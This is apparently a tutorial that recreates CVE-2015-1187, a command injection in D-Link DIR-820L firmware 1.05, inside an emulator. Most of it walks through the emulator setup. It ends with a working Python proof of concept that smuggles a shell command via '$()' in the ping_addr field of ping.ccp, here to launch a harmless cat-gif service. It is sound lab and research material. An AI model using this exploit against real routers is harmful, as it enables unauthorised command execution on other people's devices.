Recreating CVE-2015-1187 in the DIR-820L

Adding Cat gifs to the DIR-820L using CVE-2015-1187 with the firmware emulator

We'll be recreating CVE-2015-1187 using the firmware posted on D-Link's website here a direct link to the firmware here. This exploit takes advantage of the DIR-820L at version 1.05.

$ wget https://ftp.dlink.ca/ftp/PRODUCTS/DIR-820L/DIR-820L_REVA_FIRMWARE_1.05B03.BIN

Setup

We'll be using the Firmware Emulator (help me find a better name please) to emulate this firmware. And so we'll need to clone and install it first.

$ git clone https://github.com/ChrisTheCoolHut/firmware_emulator.git
$ cd firmware_emulator
$ ./install.sh
$ sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils kpartx uml-utilities bridge-utils

With that, it should be installed, and we pop into the interactive emulator.

$ python fw_emulator.py
______ _
| ___(_)
| |_ _ _ __ _ __ _____ ____ _ _ __ ___
| _| | | '__| '_ ` _ \ \ /\ / / _` | '__/ _ \
| | | | | | | | | | \ V V / (_| | | | __/
\_| |_|_| |_| |_| |_|\_/\_/ \__,_|_| \___|
_____ _ _
| ___| | | | |
| |__ _ __ ___ _ _| | __ _| |_ ___ _ __
| __| '_ ` _ \| | | | |/ _` | __/ _ \| '__|
| |__| | | | | | |_| | | (_| | || (_) | |
\____/_| |_| |_|\__,_|_|\__,_|\__\___/|_|
emu:~$
emu:~$
add_file export info remove_root_passwd unmount
add_network force_network make_image run
del_file force_tty_login mount setup_network

Pressing tab reveals it's list of commands, which are explained here. But we'll just need a couple to emulate this image. The general flow of emulating an image will be using the make_image command followed by a setup_network command. If that flow doesn't work, we'll use the other commands to do some debugging.

emu:~$ make_image DIR-820L_REVA_FIRMWARE_1.05B03.BIN
INFO:root:Using firmadyne extractor
/home/chris/projects/firmware_emulator/DIR-820L_REVA_FIRMWARE_1.05B03.BIN
>> MD5: ec3be072456a275d4eb2f7f851bd18f9
>> Tag: DIR-820L_REVA_FIRMWARE_1.05B03.BIN_ec3be072456a275d4eb2f7f851bd18f9
>> Temp: /tmp/tmp5r076pun
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
>> Recursing into archive ...
...SNIP...
Removing /etc/scripts/sys_resetbutton!
loop deleted : /dev/loop30
[+] Image created!
emu:~$ setup_network
DEBUG:root:Getting network information
DEBUG:root:Getting serial from 60 second run
DEBUG:root:['qemu-system-mips', '-M', 'malta', '-net', 'nic,vlan=0', '-net', 'socket,vlan=0,listen=:2000', '-net', 'nic,vlan=1', '-net', 'socket,vlan=0,listen=:2001', '-net', 'nic,vlan=2', '-net', 'socket,vlan=0,listen=:2002', '-net', 'nic,vlan=3', '-net', 'socket,vlan=0,listen=:2003', '-kernel', '/home/chris/projects/firmware_emulator/binaries/vmlinux.mips', '-drive', 'if=ide,format=raw,file=/tmp/tmppz7bmn12/image.raw', '-append', 'firmadyne.syscall=1 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1', '-m', '1024', '-serial', 'file:/tmp/tmppz7bmn12/qemu.initial.serial.log', '-serial', 'unix:/tmp/tmppz7bmn12/serial.S1,server,nowait', '-monitor', 'unix:/tmp/tmppz7bmn12/monitor,server,nowait', '-display', 'none']
qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.
qemu-system-mips: warning: vlan 3 is not connected to host network
qemu-system-mips: warning: vlan 2 is not connected to host network
qemu-system-mips: warning: vlan 1 is not connected to host network
DEBUG:root:done
[{'ip': '192.168.0.1', 'host_ip': '192.168.0.2', 'dev': 'eth0', 'vlan': None, 'mac': None, 'tap_dev': 'tap_0', 'host_net_dev': 'tap_0'}]
[+] Network is accessible!

We'll need to note down that ip and host_ip information. When we run our emulator next, we'll be able to ping it at it's specified ip. The next step is confirming that we can run it and interact with it, so we'll issue the run command.

emu:~$ run
INFO:root:Device available on 192.168.0.1
DEBUG:root:sudo tunctl -t tap_0 -u root
Ctrl A + X to leave
Set 'tap_0' persistent and owned by uid 0
DEBUG:root:sudo ip link set tap_0 up
DEBUG:root:sudo ip addr add 192.168.0.2/24 dev tap_0
DEBUG:root:sudo ip route add 192.168.0.1 via 192.168.0.2 dev tap_0
DEBUG:root:Press Ctrl+a then x to exit

These emulators tend to get pretty spammy and you'll see lots of messages like the picture below. This is normal and actually means it's running correctly!

Connecting to the device

We noted down the IP earlier being 192.168.0.1 , so our first step is make sure that it's network reachable:

ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=3.32 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.379 ms

At this point you can actually browse to the site at that address too!

Exporting an exploitable image

To stop the emulation you'll need to enter Ctrl+a,x. This will drop you back into the firmware emulator shell. A quick info command shows what information we've got currently captured from this image:

emu:~$ info
[+] Image Arch : mips
[+] Image Endi : Iend_BE
[+] Image Path : /tmp/tmppz7bmn12/image.raw
[+] Image IP ADDR : ['192.168.0.1']
[+] Image Kernel : /home/chris/projects/firmware_emulator/binaries/vmlinux.mips

We're going to add an extra binary to the device next. If we were debugging a memory corruption bug, we could add gdbserver, but in this case we'll be adding the binary I want the command injection to run.

emu:~$ add_file payloads/arch/mips/cat_payload /cat_payload
[+] loop device at /dev/mapper/loop30p1
loop deleted : /dev/loop30
[+] Added file

With our payload added, and networking information known, we can export the router image and use just that for finishing the exploit. I'm exporting my image to the folder DIR_820L_105_emulator and am closing out the firmware emulator.

emu:~$ export DIR_820L_105_emulator
# Ctrl+D or Ctrl+C to quit

Next is going into the directory and starting the emulator!

$ cd DIR_820L_105_emulator
$ bash runner.sh

The description provided by the initial disclosure led me to write the following PoC:

#!/usr/bin/env python
import requests
import argparse
data = 'ccp_act=ping_v6&ping_addr=$({})'
def main():
parser = argparse.ArgumentParser()
parser.add_argument("IP")
parser.add_argument("Command")
args = parser.parse_args()
t_data = {
'ccp_act' : 'ping_v6',
'ping_addr' : '$({})'.format(args.Command)
}
url = "http://{}/ping.ccp".format(args.IP)
print("Sending request!")
resp = requests.post(url= url, data=t_data)
if __name__ == "__main__":
main()

Running the exploit with the cat payload starts a new service listening on port 12345 providing anyone with access to the router with free cat gifs!

python exploit.py 192.168.0.1 "/cat_payload 12345"